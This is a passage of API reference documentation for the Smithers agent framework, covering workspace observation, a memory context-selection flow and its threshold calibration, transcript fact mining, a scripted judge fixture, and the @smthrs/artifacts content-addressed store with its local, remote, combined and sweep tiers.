`at`-carrying call are refused, and that a baseline is taken by running the
check before the edit.

### Checkpointed.unsupported, Checkpointed.absolute, Checkpointed.outside

```ts
const unsupported: (flow: string) => Cell.CallResult
const absolute: (flow: string, path: string) => Cell.CallResult
const outside: (flow: string, path: string) => Cell.CallResult
```

The three `checkpoint_unsupported` refusals: a flow that names what it touches
rather than where it runs, an absolute path, and a path that climbs out of the
checkpoint with `..`. Each message names the remedy, because a refusal without
a next action costs the run a frame.

## WorkspaceObservation

Measuring the workspace a run is changing, so the loop's mutation accounting is
a fact about the tree rather than a claim a declaration made. `bash` is why it
exists: a spawned process writes wherever it likes and tells nobody.

### WorkspaceObservation.Observer

```ts
interface Observer {
  readonly observe: Effect.Effect<EngineLike.Observation, HarnessError>
}

const Observer: Context.Service<Observer, Observer>
```

The port `EngineLike.observe` is produced through. A service rather than an
option, because it is host equipment: whoever composed a workspace is the only
party that knows where its root is. A composition that provides none leaves the
loop on declared writes, and the journal says so.

### WorkspaceObservation.observe, WorkspaceObservation.make, WorkspaceObservation.layer

```ts
const observe: (
  fs: FileSystem.FileSystem,
  root: string,
  options?: Options
) => Effect.Effect<EngineLike.Observation>

const make: (fs: FileSystem.FileSystem, root: string, options?: Options) => Observer

const layer: (root: string, options?: Options) => Layer.Layer<Observer, never, FileSystem.FileSystem>
```

A pruned walk of the workspace root that folds every kept file's path, size,
and modification time into one digest. The listing is depth-first in sorted
order, so two measurements of an unchanged tree are byte-identical. Hand it the
host's own `FileSystem`, not the kernel-guarded one: the walk is stat-only,
never follows a symlink, and every path it builds starts from the root it was
constructed with, while a guarded filesystem bills one helper process per file.

### WorkspaceObservation.Host, WorkspaceObservation.observeHost, WorkspaceObservation.layerHost

```ts
type Measured =
  | { readonly _tag: "File"; readonly size: number; readonly modified: number }
  | { readonly _tag: "Directory" }
  | { readonly _tag: "Skipped" }
  | { readonly _tag: "Failed"; readonly method: string; readonly cause: PlatformError.PlatformError }

interface Host {
  readonly entries: (
    directory: string,
    keep: (name: string) => boolean
  ) => Effect.Effect<ReadonlyArray<{ readonly name: string; readonly measured: Measured }>, PlatformError.PlatformError>
}

const fileSystemHost: (fs: FileSystem.FileSystem) => Host
const observeHost: (host: Host, root: string, options?: Options) => Effect.Effect<EngineLike.Observation>
const layerHost: (host: Host, root: string, options?: Options) => Layer.Layer<Observer>
```

The host operation the walk is built on: one directory, listed and measured in
one call, in any order. `observe` is `observeHost(fileSystemHost(fs), ...)`,
two `FileSystem` calls per entry. `NodeControl.layerObserver` composes a Node
host that reads entry types off the listing and measures a directory's files
with concurrent `lstat`s: 0.8 s instead of 5.4 s on a 50,000-file tree. Both
hosts produce the same digest for the same tree.

### WorkspaceObservation.Options

| Field            | Type                    | What it decides                                                                                                                                                                                          |
| ---------------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `prune`          | `ReadonlyArray<string>` | Directory names never descended into. Defaults to `defaultPrune`.                                                                                                                                        |
| `ignoreSuffixes` | `ReadonlyArray<string>` | Name suffixes left out of a measurement. Defaults to `defaultIgnoreSuffixes`.                                                                                                                            |
| `excludePaths`   | `ReadonlyArray<string>` | Exact root-relative paths to omit, using `/` separators. Excluding a directory also omits its descendants; similarly named paths elsewhere remain measured.                                              |
| `maxPaths`       | `number`                | The largest number of files one measurement covers. Defaults to 50,000. A walk that stops there reports `complete: false`, and the controller decides changed-ness from what the frame's calls declared. |

### WorkspaceObservation.defaultPrune, WorkspaceObservation.defaultIgnoreSuffixes

`defaultPrune` skips version-control internals, dependency trees, and the
caches Python, Node, Rust, and their test runners keep beside the sources:
`.git`, `.jj`, `.hg`, `.svn`, `.flows`, `node_modules`, `__pycache__`,
`.pytest_cache`, `.mypy_cache`, `.ruff_cache`, `.tox`, `.nox`, `.venv`, `venv`,
`.eggs`, `.gradle`, `.turbo`, `.next`, `target`. `defaultIgnoreSuffixes` skips
compiled output: `.pyc`, `.pyo`, `.pyd`, `.so`, `.o`, `.a`, `.dylib`, `.class`,
`.egg-info`.

### WorkspaceObservation.layerNoop

```ts
const layerNoop: Layer.Layer<Observer>
```

Provides an observer that reports a failure rather than a measurement. This
exists so a host can prove the failing path; a composition that wants "measures
nothing" provides no observer at all.

## WorkspaceSandbox

The engine-store workspace transaction contract, re-exported from
[`@smthrs/engine-store`](/docs/reference/api/engine-store/) so the harness and the engine stay
on one transaction seam. See that package's reference for the full surface.

## InMemoryWorkspaceSandbox

The deterministic in-memory implementation of the workspace sandbox.

### InMemoryWorkspaceSandbox.make

```ts
const make = WorkspaceSandbox.makeMemory
```

Creates the engine-store conformance sandbox over an in-memory host.
`InitialFiles`, `HostFile`, and `InMemoryWorkspaceSandbox` are type aliases for
the engine-store models.

## Memory

The context a task needs, as one ordinary sealed flow named `memory`. A cell
calls it like every other capability; there is no `ctx.memory`:

```js
const m = await ctx.call("memory", { task: "Fix the retry in the wiki citation check" })
console.log(m.context)
```

Selection shortlists candidates deterministically, asks Jev one boolean per
candidate, and packs the winners into one byte-stable fenced block. The block
enters a run as a call result in the append-only tail, or at frame 0 as
`Agent.Options.memory`, so the prompt-cache prefix and `cacheKey` never change.
See [Memory](https://github.com/smithersai/smithers/blob/main/packages/smithers/agent/docs/guides/memory.md) for the sources and thresholds.

### Memory.Input, Memory.Output, Memory.Item

| Field      | Type                                            | Meaning                                                           |
| ---------- | ----------------------------------------------- | ----------------------------------------------------------------- |
| `task`     | `string`                                        | The task, in the run's own words.                                 |
| `query`    | `string?`                                       | A narrower question within the task.                              |
| `paths`    | `string[]?`                                     | Repository files or directories included without judging (seeds). |
| `sources`  | `("wiki" \| "repo" \| "commits" \| "facts")[]?` | Which sources to read; all when absent.                           |
| `maxBytes` | `number?`                                       | The block's size, 1024 to 65536 UTF-8 bytes; 32768 when absent.   |

`Output` is `{ context, digest, kept, omitted, cost, unjudged? }`. `kept` and
`omitted` list `Item`s (`kind`, `id`, `digest`, `bytes`, `p`, `decided`), never
text; `omitted` holds at most `maxOmitted` (64) ids, highest `p` first. A file
past `maxFilesPerDir` (64) or `maxFiles` (256) is omitted unread as `budget`
with `bytes` 0. `cost` is `{ jevRequests, jevMs, candidates }`. Named paths are
seeds only when `sources` holds `repo`, named commits only when it holds
`commits`.

### Memory.select

```ts
const select: (
  input: Memory.Input,
  options: Memory.Options
) => Effect.Effect<Memory.Selection, Memory.MemoryFailed, FileSystem | Path | ChildProcessSpawner>
```

Selects over `options.root`. `options.pages` replaces the wiki catalog,
`options.facts` reads remembered rows from named banks, and
`options.thresholds` replaces the repository's own (`Memory.thresholds(root)`:
`.smithers/memory-thresholds.json`, `MemoryCalibration.initial` when absent,
`thresholds_invalid` when it does not decode). The `Selection`
carries the output, the kept items with the text the block holds for each,
`needed` (every item that cleared its threshold before the byte budget), and
every Jev request. A Jev that is unreachable, times out or refuses with a 429
or a 5xx, or a host with no judge (reason `unconfigured`), leaves the seeds and
the recalled facts (`decided: "unjudged"`) with `unjudged` set, and
`Selection.unjudged` (`Memory.Unjudged`) adds the failed reading's
`classifier` and `items`; any other Jev failure fails
with `MemoryFailed` code `judge_failed`. A facts store failure is
`facts_failed`; a denied seed is `read_failed`, and a denied file or walked
directory is skipped. `MemoryFailed` is registered with `Fault`: `judge_failed`
is `dependency`, `facts_failed` and `read_failed` are `infra`, and
`thresholds_invalid` is `user`.

### Memory.flow, Memory.binding, Memory.source, Memory.plugin

`flow` is the `memory` declaration (`sealed`, requires `Memory.reads`,
`fs:read:/**`; a host opens with the workspace only under the same grant).
`binding(services, options)` binds it with the step key carrying
`Memory.version`, the root and the digest of `options.thresholds`
(`MemoryCalibration.initial` when absent), and journals a `decision-settled` row
per Jev request. `source(services, options)` is the flows source a host passes:
it reads the repository's thresholds when the calling run holds `Memory.reads`,
and otherwise pins `MemoryCalibration.initial` without reading the workspace.
Authorized malformed thresholds still fail assembly.
`plugin(services, options)` contributes the binding through
`CellPlugin.fromBindings`; pass it in `Agent.Options.plugins`.

### Memory.opening, Memory.declared

`opening(task, options)` runs the same selection packed to `openingMaxBytes`
(16 KiB) and returns `{ memory, selection, unjudged }`, where `memory` is the
`Agent.Options.memory` value: one row per kept item keyed `<kind>/<id>`, so the
run-start relevance reading can still withhold any row.

### Memory.needed, Memory.descend

The two `Judgement.perItem` readings, `memory/needed` and `memory/descend`,
each packed into requests of at most `Memory.maxStateBytes` (64 KiB).

### Memory.extractPaths, Memory.normalizePath

Repository-relative paths named in prose, the one implementation planning
also uses.

## MemoryCalibration

`Costs` requires finite, nonnegative values with a positive total. `Decided`
requires `tau` and reliability values in [0, 1]; a non-null reliability table
has exactly ten entries. `Current` is an Effect context reference defaulting to
`initial`. Hosts provide `Memory.thresholds(root)` to it so transcript mining
uses their fitted fact calibration.

The threshold math behind every `memory` decision. `tau(costs)` is the
cost-optimal threshold `extra / (miss + extra)`; `calibrated` maps a raw Jev
probability through a ten-bucket reliability table; `include` compares it with
the decision's `tau`. `fit` is a monotone (pool adjacent violators) reliability
fit, `bestTau` the least-cost threshold, and `refit` one weekly fit that refuses
under `minLabels` (200) labels or a move over `maxMove` (0.05). `initial` holds
the declared starting thresholds: 0.35 for pages, skills and files, 0.30 to
descend, 0.50 for commits and dependency pages, 0.70 to accept a mined fact.
`digest` joins every `memory` step key.

## MemoryMine

`judge` and `settle` read the fact setting from `MemoryCalibration.Current`.
`accepts(p, decided?)` also accepts an explicit setting, including its reliability
table; its default is the declared initial fact setting. Concurrent writes of
the same normalized fact return the first stored note, preserving its provenance.

A run's transcript, mined once at run end. `Agent.run` calls `settle` when
`supervisor.remember` is on and a bank is writable; the `memory/mine` file flow
calls `extract`, `judge` and `write` over a finished run's journal.

| Export                                | Does                                                                                                                                                                                    |
| ------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `sentences(prose)`                    | Redacts the whole reply, removes every fenced block, then up to `paragraphLimit` (4) paragraphs, each clipped to `candidateChars` (400).                                                |
| `transcript()`, `add(into, row)`      | Folds one `Row` into candidates (settled replies) and decisions (drained user messages, each clipped to `decisionChars` (500)), distinct and redacted.                                  |
| `extract(rows)`                       | `add` over a whole journal in `seq` order; at most `candidateLimit` (64) candidates and `decisionLimit` (64) decisions.                                                                 |
| `reading`, `judge(task, candidates)`  | One `memory/mine` reading: `durable` and `issue` per candidate, each accepted when `accepts(p)` (τ 0.70).                                                                               |
| `write(store, { bank, runId, text })` | The one fact writer: redacted, keyed by `noteId(bank, text)`, `source:transcript`; a stored fact is kept as it is.                                                                      |
| `settle(input)`                       | The run-end reading as the `memory-mine` boundary; returns its `decision-settled` or `decision-unjudged` rows and a `supervisor-memory-failed` row per refused write or engine failure. |
| `decisionsDirectory`                  | `.smithers/wiki/decisions`: where `memory/mine` appends `<item>.md` and where the `memory` wiki source reads decisions pages.                                                           |

A Jev or engine failure writes nothing and never fails the run. A replayed run
is served the recorded reading.

## MemorySnapshotRecorder

The durable implementation of `@smthrs/memory`'s `SnapshotRecorder` port: it
translates a snapshot identity into an `EngineLike.record` boundary that holds
the snapshot's rows, so a memory snapshot a run takes is journaled and replays
with it.

### MemorySnapshotRecorder.make, MemorySnapshotRecorder.layer

```ts
const make: (engine: EngineLike.EngineLike) => SnapshotRecorder.Service
const layer: Layer.Layer<SnapshotRecorder.SnapshotRecorder, never, EngineLike.EngineLike>
```

Builds the memory recorder backed by a harness engine, or provides durable
opening-memory snapshots through the current harness engine. A recorder failure
is fatal rather than continued past: continuing with a live value would
recreate the replay divergence the adapter exists to prevent.

`SeatResolver.contextWindowResolver(service)` adapts a host resolver to the
harness's `contextWindowTokensFor(seat)` callback. The session and action
adapters use it when steering, so logical seats such as `reviewer` retain the
host's context budget. A refused seat becomes a typed harness assembly failure.

## ScriptedJudge

`import * as ScriptedJudge from "@smthrs/agent/ScriptedJudge"`

`layer` is an explicit offline completion fixture. It reads a claim's named
commands against `checksRun` and `lastCheck`, rejects commands absent from the
record, and refuses question sets other than `complete`, `overclaims`, and
`invented`. Its command syntax is deliberately limited; it is not a general
language judge or a production default. A whole host must dispatch its other
classifiers too; see [the whole-host fixture](https://github.com/smithersai/smithers/blob/main/flows/test/fixtures/scripted-judge.ts).

`layerAll` answers every classifier the agent asks: completion, relevance,
compaction marks, seat routing, the supervisor and `memory/mine`, which accepts
nothing. Each answer is computed from
the state by the matching `answer.*` answerer, and `answererFor(ids)` picks one
by question ids. A question-id set no classifier asks fails `unreachable`.

---

# @smthrs/artifacts
https://smithers.sh/docs/reference/api/artifacts/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/artifacts/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/artifacts/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/artifacts/docs)

> **Related APIs:** [`@smthrs/crypto`](/docs/reference/api/crypto/)

`@smthrs/artifacts` exports eight modules. Each is available from the root as a
namespace, and each but `ImmutableCache` also from its own subpath:

```ts
import { ArtifactStore } from "@smthrs/artifacts"
import * as ArtifactStoreSubpath from "@smthrs/artifacts/ArtifactStore"
```

Addresses are the SHA-256 digests [`@smthrs/crypto`](/docs/reference/api/crypto/) computes
through the injected `Crypto` service, which with `effect` is the whole
dependency list.

## Example

```ts
import { ArtifactStore } from "@smthrs/artifacts"

const program = Effect.gen(function*() {
  const store = yield* ArtifactStore.ArtifactStore
  const address = yield* store.put(new TextEncoder().encode("build output"))
  return yield* store.get(address)
})
```

## ArtifactStore

`@smthrs/artifacts/ArtifactStore`. The contract, its errors, and the three
local implementations.

### The contract

```ts
interface Service {
  readonly put: (bytes: Uint8Array) => Effect<Digest, ArtifactStoreError, Crypto>
  readonly get: (
    digest: string
  ) => Effect<Uint8Array, ArtifactMissing | ArtifactCorruption | ArtifactStoreError, Crypto>
  readonly has: (digest: string) => Effect<boolean, ArtifactStoreError>
  readonly findMissing: (digests: Iterable<string>) => Effect<Array<string>, ArtifactStoreError>
}
```

| Member        | Behavior                                                                                                                                                                                                                                                                             |
| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `put`         | Measures `bytes`, publishes them under that address, and returns it. Idempotent: storing the same bytes twice returns the same address and stores one copy. Every implementation snapshots the caller's buffer when the Effect begins and never retains the caller's reference.      |
| `get`         | Returns the bytes at `digest`, having verified that they still hash to it. Every successful read returns a new array. Fails with `ArtifactMissing` for a valid address with no bytes, `ArtifactCorruption` for a mismatch, and `ArtifactStoreError` for a host or transport refusal. |
| `has`         | Whether this tier holds an artifact at `digest`. Does not read or hash the bytes, so it needs no `Crypto`.                                                                                                                                                                           |
| `findMissing` | Which of `digests` this tier does not hold. The result is guaranteed to be a subset of the input, deduplicated in first-seen order.                                                                                                                                                  |

`ArtifactStore` is the service tag, with identity
`@smthrs/artifacts/ArtifactStore`.

Read operations accept a plain `string` rather than the `Digest` brand on
purpose: an address read back out of a durable row is untrusted input, so the
store validates it instead of asking every caller to re-brand a persisted
column. `put` returns the brand, because it measured the bytes itself.

### Digests

| Export                             | Meaning                                                                                                                                                                                                                                 |
| ---------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Digest`                           | Schema and branded type for exactly 64 lowercase hexadecimal SHA-256 characters, re-exported from `@smthrs/crypto`.                                                                                                                     |
| `validateDigest(digest: string)`   | `Effect<Digest, ArtifactStoreError>`. Refuses anything other than the canonical representation with code `invalid_digest`. The failure text is a bounded constant, so a hostile value cannot copy itself into a log or a durable error. |
| `measureBytes(bytes: Uint8Array)`  | `Effect<Digest, ArtifactStoreError, Crypto>`. Computes an address with the injected `Crypto` service, never retaining the bytes in an error.                                                                                            |
| `snapshotBytes(bytes: Uint8Array)` | `Effect<Uint8Array, ArtifactStoreError>`. Copies a caller-owned buffer when the Effect begins. A refused copy fails as `unavailable`, the code for a host refusal, because `Crypto` has not been consulted yet.                         |

Every implementation validates an address before logging it or interpolating it
into a path or a URL.

### Errors

| Export                   | Shape                                                                                                                 |
| ------------------------ | --------------------------------------------------------------------------------------------------------------------- |
| `ArtifactStoreError`     | Tag `@smthrs/artifacts/ArtifactStoreError`, fields `code`, `message`, optional `cause`.                               |
| `ArtifactMissing`        | Tag `@smthrs/artifacts/ArtifactMissing`, fields `code: "artifact_missing"` and `digest`.                              |
| `ArtifactCorruption`     | Tag `@smthrs/artifacts/ArtifactCorruption`, fields `code: "artifact_corruption"`, `recordedDigest`, `measuredDigest`. |
| `ArtifactStoreErrorCode` | Schema and type for the five stable codes.                                                                            |

A miss and a corruption are separate tags rather than codes because a
read-through composition acts on them differently: a miss is an ordinary
outcome a second tier may satisfy, and a corruption is a violation of the
store's strongest invariant.

| Code                    | Retryable | Meaning                                                     |
| ----------------------- | --------- | ----------------------------------------------------------- |
| `invalid_configuration` | No        | The caller supplied an option the store refuses. Permanent. |
| `invalid_digest`        | No        | The value is not a canonical SHA-256 address. Permanent.    |
| `digest_failed`         | Depends   | The `Crypto` service failed to compute a digest.            |
| `unavailable`           | Depends   | A host refused, or a no-op store has no implementation.     |
| `transport_failed`      | Depends   | The shared tier refused, answered unusably, or timed out.   |

### The filesystem store

```ts
declare const makeFileSystem: (fs: FileSystem, path: Path, options?: FileSystemOptions) => Service
declare const layerFileSystem: (
  options?: FileSystemOptions
) => Layer<ArtifactStore, never, FileSystem | Path>
```

`path` is the host's `Path` service (`NodePath.layer` on Node). The directory
sync walks the objects directory's ancestors with it, so a Windows drive path
syncs its real parents.

Publishes at `${directory}/${digest.slice(0, 2)}/${digest}`. Bytes land at a
unique temp path in the destination fanout directory, are synced when required,
and are renamed into place. Every deduplicated `put` verifies the existing blob
and rewrites an unreadable or mismatched address atomically, then freshens the
blob's modification time so a retention sweep reads it as recently referenced.

`findMissing` deduplicates and validates the full input before filesystem
probes, then checks at most 16 addresses concurrently. Missing digests retain
first-request order; a failed probe fails the batch as `unavailable`.

| `FileSystemOptions` field | Default            | Meaning                                                                                                                                                                                                                     |
| ------------------------- | ------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `directory`               | `defaultDirectory` | Where blobs are stored. Workspace-relative, so a workspace can be moved or copied whole. An `ArtifactSweep` over the same store must name the same directory.                                                               |
| `fileMode`                | `0o600`            | Creation mode for new payload files, restricted by the host umask. Existing blobs are unchanged.                                                                                                                            |
| `directoryMode`           | `0o700`            | Creation mode for objects and fanout directories, restricted by the host umask. Lock directories remain `0700`.                                                                                                             |
| `durability`              | `"required"`       | `required` syncs the blob, fanout directory, objects directory, and its ancestors and propagates any refusal. `best-effort` tolerates sync refusals. Both modes require exclusive writable handles and symlink inspection.  |
| `coordination`            | `"required"`       | `required` combines an in-process semaphore with heartbeat-backed lock files shared by every cooperating process. `process` keeps only the semaphore, giving up cross-process exclusion between writers and sweep deletion. |

`defaultDirectory` is `.flows/objects`. It is exported because the store and
its sweep must name the same directory, and a second private copy of the
literal is exactly how they would drift apart.

`required` bounds the writer-versus-sweeper race rather than eliminating it. A
lock is heartbeated every 10 seconds, reclaimed once it is 60 seconds stale, and
acquisition gives up after 2 minutes. Contenders that find the same stale lock
race for a claim file named after its owner, so the lock is moved at most once
and a fresh replacement is never displaced. A holder whose host stalls past 60
seconds is still reaped while running. Neither
`ArtifactSweep.RemoveOptions.ifUnmodifiedSinceMs` nor the backup lease protects
against that, because both depend on the same lock. Build a
store and its sweep with the same directory and coordination mode; no runtime
check can detect a mismatch. See
[Coordination between processes](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/artifacts/docs/concepts/coordination.md).

The store also sweeps its own crash orphans, `.tmp-*` payloads and `.locks/`
entries older than one hour, once per store instance on its first publication.
That is scratch reclamation, never garbage collection of published blobs.

### The memory store

```ts
declare const makeMemory: () => Service
declare const layerMemory: Layer<ArtifactStore>
```

For tests and for a browser host with no durable filesystem. It copies at both
boundaries around a private map, so no reference a caller can still mutate
aliases the stored content. It does not rehash a read, because its address
space is private and cannot disagree with itself.

`layerMemory` is a value, not a function.

### The no-op store

```ts
declare const makeNoop: (overrides?: Partial<Service>) => Service
declare const layerNoop: (overrides?: Partial<Service>) => Layer<ArtifactStore>
```

Every operation fails with an `unavailable` `ArtifactStoreError` whose message
is `<method> is unavailable`. Overrides replace individual methods, which is
how a test states the one behavior it cares about.

## RemoteArtifacts

`@smthrs/artifacts/RemoteArtifacts`. The shared tier, spoken over Effect's
`HttpClient`.

```ts
declare const make: (options: Options) => Effect<Service, ArtifactStoreError, HttpClient>
declare const layer: (
  options: Options
) => Layer<ArtifactStore.ArtifactStore, ArtifactStoreError, HttpClient>
```

`Service` extends `ArtifactStore.Service` with one field, `downloadPolicy`.
Composing `layer` alone makes every read and write a network round trip; the
intended production shape is `CombinedArtifacts.layer` with this as its remote
tier.

The wire protocol is `GET`, `PUT`, and `HEAD` at `/cas/{digest}` and `POST` at
`/cas/findMissing`, resolved beneath the endpoint. Every download is bounded and
digest-verified before it is returned. Redirects are never followed: a fetch
transport runs with `redirect: "manual"`, and any `3xx` other than the
resumable-upload `308` fails as an unexpected status, so credential headers
never reach another origin. The complete server-side contract is in
[Serve the artifact protocol](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/artifacts/docs/guides/serve-the-artifact-protocol.md).

Effect's HTTP client opens one span per request, named for the request method.
It records no request or response header, so a trace carries no credential. A
host that sets `HttpClient.TracerHeaderFilter` to record headers gets every
name configured in `headers` as `<redacted>`. A `4xx` or `5xx` answer ends the
span as failed with the status in `error.type`, so a `HEAD` for an absent
artifact shows a failed span although `has` returned `false`.

### Options

| Field                         | Default    | Meaning                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| ----------------------------- | ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `endpoint`                    | required   | The cache root, for example `https://cache.example.com`. A trailing slash is ignored. Refused at construction as `invalid_configuration` when it is not a string, when no `URL` parser accepts it, when the scheme is not `https:` (plain `http:` is allowed only for the literal loopback hosts `localhost`, `127.0.0.1`, and `[::1]`), and when it carries userinfo, a query, or a fragment. The refusal names only the violated rule and never echoes the endpoint. |
| `headers`                     | none       | Headers sent with every request: this is the credential seam. Construction-time on purpose, because a credential arriving as a step input would be hashed into a step key and persisted everywhere the journal goes. Applied before the protocol's own headers, so no configuration can strip a `content-type`, `content-length`, or `content-range`.                                                                                                                  |
| `downloadTimeout`             | 60 seconds | One download, including the complete response body.                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `uploadTimeout`               | 60 seconds | One upload, including every resume probe and chunk.                                                                                                                                                                                                                                                                                                                                                                                                                    |
| `requestTimeout`              | 60 seconds | One `HEAD` probe, or one `findMissing` batch and its response.                                                                                                                                                                                                                                                                                                                                                                                                         |
| `maxDownloadBytes`            | 256 MiB    | The largest download buffered. A `Content-Length` past the bound is refused before a body byte is read; an incremental read stops at most one chunk past it.                                                                                                                                                                                                                                                                                                           |
| `maxFindMissingResponseBytes` | 256 KiB    | The largest `findMissing` response accepted. May only lower the protocol bound.                                                                                                                                                                                                                                                                                                                                                                                        |
| `chunkBytes`                  | absent     | Above this many bytes an upload travels as `Content-Range` requests, resuming from the prefix the tier kept.                                                                                                                                                                                                                                                                                                                                                           |
| `downloadPolicy`              | `"all"`    | How eagerly a composition reading through this tier materializes blobs locally.                                                                                                                                                                                                                                                                                                                                                                                        |

`findMissing` validates its input before sending anything, sends at most 1,000
digests per batch, and filters the response back to requested digests, so a
tier answering with an unrequested digest cannot make a caller upload bytes it
never asked about.

### Download policy

| Export                    | Meaning                                                                                                                                  |
| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| `DownloadPolicy`          | Schema and type for `"all"`, `"toplevel"`, `"minimal"`.                                                                                  |
| `downloadPolicies`        | A frozen array of all three, in materialization order.                                                                                   |
| `downloadPolicyOf(store)` | Reads the policy a store declares, or `undefined` for one that declares none, which is every local store and any foreign implementation. |

`all` prefetches every referenced blob when a replay is admitted. `toplevel`
prefetches nothing and materializes a blob on the first read that needs it.
`minimal` prefetches nothing and materializes nothing.
`CombinedArtifacts.get` honors the last two;
[`@smthrs/engine-store`](/docs/reference/api/engine-store/)'s `ArtifactSync.hydrate` honors the
first.

### Chunked uploads

With `chunkBytes` set, the client sends a `HEAD` existence probe, then an empty
`Content-Range: bytes */{total}` probe to discover a retained prefix, then
ranged chunks:

| Response                      | Client action                                               |
| ----------------------------- | ----------------------------------------------------------- |
| `308`                         | Continue after the reported `Range: bytes=0-{last}` prefix. |
| `2xx` on the completing chunk | Confirm the complete length with `HEAD`.                    |
| `2xx` before completion       | Treat the tier as range-unaware and send the whole blob.    |
| `400`, `411`, or `416`        | Send the whole blob.                                        |
| Any other status              | Fail the upload as a transport error.                       |

The offset never moves backward. If a server ignores ranges, omits a confirming
length, or stores a partial body, the whole-blob `PUT` overwrites the partial
result. Both Smithers cache services answer a ranged `PUT` with `400` and cap
one request body at 16 MiB, so `chunkBytes` against them degrades
to one whole-blob `PUT` and a larger artifact is refused with `413`.

## CombinedArtifacts

`@smthrs/artifacts/CombinedArtifacts`. Local first, shared second, with
write-back.

```ts
declare const make: (options: Options) => Effect<RemoteArtifacts.Service, ArtifactStoreError>
declare const layer: <EL, RL, ER, RR>(
  options: LayerOptions<EL, RL, ER, RR>
) => Layer<ArtifactStore.ArtifactStore, EL | ER | ArtifactStoreError, RL | RR>
```

| `Options` field    | Default                         | Meaning                                                                                                                              |
| ------------------ | ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
| `local`            | required                        | The fast, machine-local tier, as a `Service`. Every read tries this one first.                                                       |
| `remote`           | required                        | The shared tier, as a `Service`. Consulted only on a local miss or corruption.                                                       |
| `uploadTimeout`    | 60 seconds                      | How long a `put` waits for its opportunistic upload before abandoning it. An abandoned upload is dropped exactly like a refused one. |
| `writeBackTimeout` | 60 seconds                      | How long a `get` waits for opportunistic local write-back before interrupting it and returning the verified remote bytes.            |
| `downloadPolicy`   | the remote tier's, else `"all"` | Overrides the shared tier's declared policy for this composition.                                                                    |

`LayerOptions` is the same shape with `local` and `remote` as `Effect`s. Both
tiers are supplied as effects rather than layers because they inhabit the same
tag: composing two `Layer<ArtifactStore>` would shadow one with the other. Pair
`Effect.map(Effect.all([FileSystem.FileSystem, Path.Path]), ([fs, path]) => ArtifactStore.makeFileSystem(fs, path))`
with `RemoteArtifacts.make`.

Both timeout options must be finite, positive durations. Invalid values fail
construction with `ArtifactStoreError` code `invalid_configuration`.

**Reads.** The local tier answers first. A hit returns. `ArtifactMissing` and
`ArtifactCorruption` both fall through to the shared tier, and they are kept
apart because only corruption earns a write-back that `minimal` would otherwise
skip. A local `ArtifactStoreError` fails the read rather than falling through:
a host that refused has not answered the question, and paying for the network
instead would hide a broken local tier behind a working shared one.
Local write-back after a remote read is opportunistic. A typed failure or
`writeBackTimeout` expiry returns the verified remote bytes. Timeout interrupts
the write-back and waits for its interruption cleanup before returning.

**Writes.** `put` publishes locally first and returns the local digest. The
remote upload is opportunistic, deduplicated in flight by digest, and bounded by
`uploadTimeout`. A remote refusal or timeout does not fail the operation that
produced the bytes. The shared-cache publication protocol uses `findMissing`,
upload, and confirmation before it publishes a cache entry, so an abandoned
upload costs another transfer rather than correctness.

**Probes.** `has` asks local, then remote. `findMissing` asks the remote tier
only about what the local tier could not answer, so the result stays a subset of
the input because each stage filters the previous stage's output.

`minimal` still writes back after local corruption, because replacing an
address the local tier already claims is repair rather than growth.

## ArtifactSweep

`@smthrs/artifacts/ArtifactSweep`. Host-local enumeration and fenced deletion.
This surface is deliberately not part of `ArtifactStore.Service`: a remote tier
can neither enumerate its address space nor accept a delete, and only the
filesystem store implements it.

```ts
interface Service {
  readonly inventory: Effect<Array<BlobStat>, ArtifactStoreError>
  readonly remove: (digest: string, options?: RemoveOptions) => Effect<boolean, ArtifactStoreError>
}

declare const makeFileSystem: (fs: FileSystem, options?: SweepOptions) => Service
declare const layerFileSystem: (options?: SweepOptions) => Layer<ArtifactSweep, never, FileSystem>
declare const makeNoop: (overrides?: Partial<Service>) => Service
declare const layerNoop: (overrides?: Partial<Service>) => Layer<ArtifactSweep>
```

`ArtifactSweep` is the service tag, with identity
`@smthrs/artifacts/ArtifactSweep`.

| Export          | Fields                                                                                                                                                        |
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `BlobStat`      | `digest`, `modifiedAtMs`, `sizeBytes`.                                                                                                                        |
| `RemoveOptions` | `ifUnmodifiedSinceMs`: delete only while the blob's mtime is at or before this bound.                                                                         |
| `SweepOptions`  | `directory` (defaults to `ArtifactStore.defaultDirectory`) and `coordination` (defaults to `required`). No `durability`, because a sweep never writes a blob. |

`inventory` returns a `BlobStat` only for canonical fanout files whose
modification time is measurable. It skips temp files, lock files, foreign
paths, nested paths, directories sitting at blob addresses, and entries that
disappear during the scan. A directory that was never created is an empty
inventory, not a failure.

Candidate metadata reads run with concurrency 16 and retain directory-listing
order. Each candidate keeps its path checks; a failed metadata read skips only
that candidate.

`remove` returns `false` for three outcomes a caller cannot tell apart, all of
which mean nothing was reclaimed and retrying later is safe: the blob was
already gone, it failed the `ifUnmodifiedSinceMs` fence, or a live backup lease
fenced the deletion. The last one is not progress, so a collector counting
reclaimed bytes must not count it.

Under `required`, one deletion costs two lock acquisitions, the per-digest lock
and the workspace-global backup-lease gate, which is roughly ten filesystem
operations and two forked heartbeat fibers per blob. The gate is one file for
the whole workspace, so concurrent deletions serialize through it.

The policy this mechanism serves, which digests are live and how long a dead
blob is kept, belongs to [`@smthrs/engine-store`](/docs/reference/api/engine-store/)'s
